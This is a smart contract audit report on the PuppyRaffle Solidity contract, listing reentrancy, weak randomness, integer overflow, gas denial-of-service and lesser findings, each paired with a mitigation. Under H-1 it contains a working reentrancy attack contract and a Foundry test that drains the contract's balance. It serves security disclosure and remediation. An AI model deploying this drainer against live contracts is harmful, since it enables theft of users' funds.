Protocol Audit Report

Version 1.0

Ziad Magdy

July 21, 2025

Protocol Audit Report

Ziad Magdy

July 21, 2025

Prepared by: ziad Lead Security Researcher:

- Ziad Magdy

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

Protocol Summary

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Ziad Magdy team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow `CEI` (Checks, Effects, Interaction) and as a result, enable participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>          payable(msg.sender).sendValue(entranceFee);
7  @>          players[playerIndex] = address(0);
8          emit RaffleRefunded(playerAddress);
9      }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle:refund` function again and claim another refund. They could contine the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a `fallback` or `receive` function that calls `PuppyRaffle:refund` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle:refund` from their attack contract, draining the contract balance.

PoC

Place the following into `PuppyRaffleTest.t.sol`

```
1  function test_reentrancyRefund() public {
2          // Add 4 players
3          address[] memory players = new address[](4);
4          players[0] = playerOne;
5          players[1] = playerTwo;
6          players[2] = playerThree;
7          players[3] = playerFour;
8          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9
10         // Arrange
11         address attacker = makeAddr("attacker");
12         vm.deal(attacker, entranceFee);
13
14         RenntrancyAttack reentrancyAttack = new RenntrancyAttack(
               puppyRaffle);
15         uint256 startingPuppyRaffleBalance= address(puppyRaffle).
               balance ;
16         console.log("startingPuppyRaffleBalance: ",
               startingPuppyRaffleBalance);
17         uint256 startingAttackerBalance = address(attacker).balance ;
18
19         // Act
20         vm.prank(attacker);
21         reentrancyAttack.attack{value: entranceFee}();
```

```
22
23          uint256 endingPuppyRaffleBalance= address(puppyRaffle).balance
                ;
24          console.log("endingPuppyRaffleBalance: ",
                endingPuppyRaffleBalance);
25          uint256 endingReentrancyAttackBalance = address(
                reentrancyAttack).balance ;
26          console.log("endingReentrancyAttackBalance: ",
                endingReentrancyAttackBalance);
27
28          assertEq(endingReentrancyAttackBalance, startingAttackerBalance
                + startingPuppyRaffleBalance);
29      }
```

Add this contract as well.

```
1  contract RenntrancyAttack {
2      PuppyRaffle victim ;
3      uint256 entranceFee ;
4      uint256 attackerIndex ;
5
6      constructor(PuppyRaffle _victim) {
7          victim = _victim ;
8          entranceFee = victim.entranceFee();
9      }
10
11
12     function attack() public payable{
13         address[] memory attackerPlayer = new address[](1);
14         attackerPlayer[0] = address(this);
15
16         victim.enterRaffle{value: entranceFee}(attackerPlayer);
17         attackerIndex =  victim.getActivePlayerIndex(address(this));
18         victim.refund(attackerIndex);
19     }
20
21     function _stealMoney() internal {
22         if(address(victim).balance >= entranceFee){
23             victim.refund(attackerIndex);
24         }
25     }
26
27     receive() external payable {
28         _stealMoney();
29     }
30
31     fallback() external payable {
32         _stealMoney();
33     }
34 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users in influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of them raffle themselves.

Impact: Any user can influence winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle warthless if becomes a gas war as to who the raffels.

Proof of Concept: 1- Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. 2- User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner. 3- Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain value as a randomness see is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such a Chainlink Vrf.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fess.

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
    uint256 myVar = type(uint64).max;
    // 18446744073709551615
    myVar = myVar + 1
    // myVar will be 0
```

Impact: In `PuppyRaffle:selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle:withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1- we conclude a raffle of 4 players. 2- we then have 90 players enter a new raffle, and conclude the raffle. 3- `totalFees` will be:

```
    totalFees = 800000000000000000 + 18000000000000000000
    // and this will oveflow
    totalFees = 1880000000000000000
```

4. You will not be able to witdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

PoC

```
        function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 90 players enter a new raffle
        uint256 playersNum = 90;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

```

```
20          // And here is where the issue occurs
21          // We will now have fewer fees even though we just finished a
                second raffle
22          puppyRaffle.selectWinner();
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees  ", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
30          puppyRaffle.withdrawFees();
31      }
```

Recommended Mitigation: 1- Use a newer version of solidity, and a new `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2- You could also use the `SafeMath` from OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected. 3- Remove the balance check from `PuppyRaffle:withdrawFees`

```
1 -    require(address(this).balance == uint256(totalFees),"PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Two for loops iterate over an unbounded list of players in `PuppyRaffle.sol::enterRaffle`, causing gas usage to grow with input size. May lead to Denial of Service (DoS) if gas consumption exceeds block gas limit

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for dublicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This mean the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1       // @audit DoS Attack
2   @>  for (uint256 i = 0; i < players.length - 1; i++) {
3           for (uint256 j = i + 1; j < players.length; j++) {
4                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
5           }
6       }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering. and causing a rush at the start of a raffle to be one of the first entrants in the queue.

Proof of Concept: If we have 2 set of 50 players enter, the gas costs will be as such: - 1st 50 players: ~ 2218165 gas - 2nd 50 player: ~ 5340147 gas - This more than 3x more expensive for the second 50 players

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_denialOfService() public {
        // Add 50 Players
        vm.txGasPrice(1);
        uint256 playerNums = 50 ;
        address[] memory newPlayers = new address[](playerNums);
        for(uint256 i; i<playerNums; i++){
            newPlayers[i] = address(uint160(i));
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee*playerNums}(
            newPlayers);
        uint256 gasEnd1 =  gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd1) * tx.gasprice ;
        console.log("gas cost of the first 50 player: ", gasUsedFirst);

        // Add another 50 players
        uint256 gasStart2 = gasleft();
        address[] memory anotherPlayers = new address[](playerNums);
        for(uint256 i; i<playerNums; i++){
            anotherPlayers[i] = address(uint160(i + playerNums));
        }
        puppyRaffle.enterRaffle{value: entranceFee*playerNums}(
            anotherPlayers);
        uint256 gasEnd2 = gasleft();
        uint256 gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;
        console.log("gas cost of the add another player: ",
            gasUsedSecond);

        assertGt(gasUsedSecond, gasUsedFirst);
    }
```

Recommended Mitigation: There are a few recomendations.

1. Consider allowing duplicates. Users can make new wallet addresses anywa, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.

2. Consider using a mapping to check for dublicates. This would allow constant time lookup of weather a user has already entered

[M-2] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a `fallback` or `receive` function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even through the lottery over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants. (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to clean their prize. (recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1- User enters the raffle, they are the first entrant. 2- `PuppyRaffle::getActivePlayerIndex` return 0 3- User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the funtion returns -1 if the player is not active.

Informational

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of solidity is not recommended.

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 65

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 179

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Ineractions)

```
1  -        (bool success,) = winner.call{value: prizePool}("");
2  -        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3           _safeMint(winner, tokenId);
4  +        (bool success,) = winner.call{value: prizePool}("");
5  +        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

[I-5] Use of `magic` numbers is discouraged

It can be confusing to use number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1           uint256 prizePool = (totalAmountCollected * 80) / 100;
2           uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20 ;
    uint256 public constant POOL_PRECISION = 100 ;
```

[I-6] State Change Without Event

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 168

```
    function withdrawFees() external {
```

[I-7] Dead Code

Functions that are not used. Consider removing them.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 184

```
    function _isActivePlayer() internal view returns (bool) {
```

Gas

[G-1] Unchanged state variable should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable vraiable.

Instancees: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Array Length not Cached

Calling `.length` on a storage array in a loop condition is expensive. Consider caching the length in a local variable in memory before the loop and reusing it.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 96

```
1         for (uint256 i = 0; i < players.length - 1; i++) {
```

- Found in src/PuppyRaffle.sol Line: 97

```
1             for (uint256 j = i + 1; j < players.length; j++) {
```

- Found in src/PuppyRaffle.sol Line: 121

```
1         for (uint256 i = 0; i < players.length; i++) {
```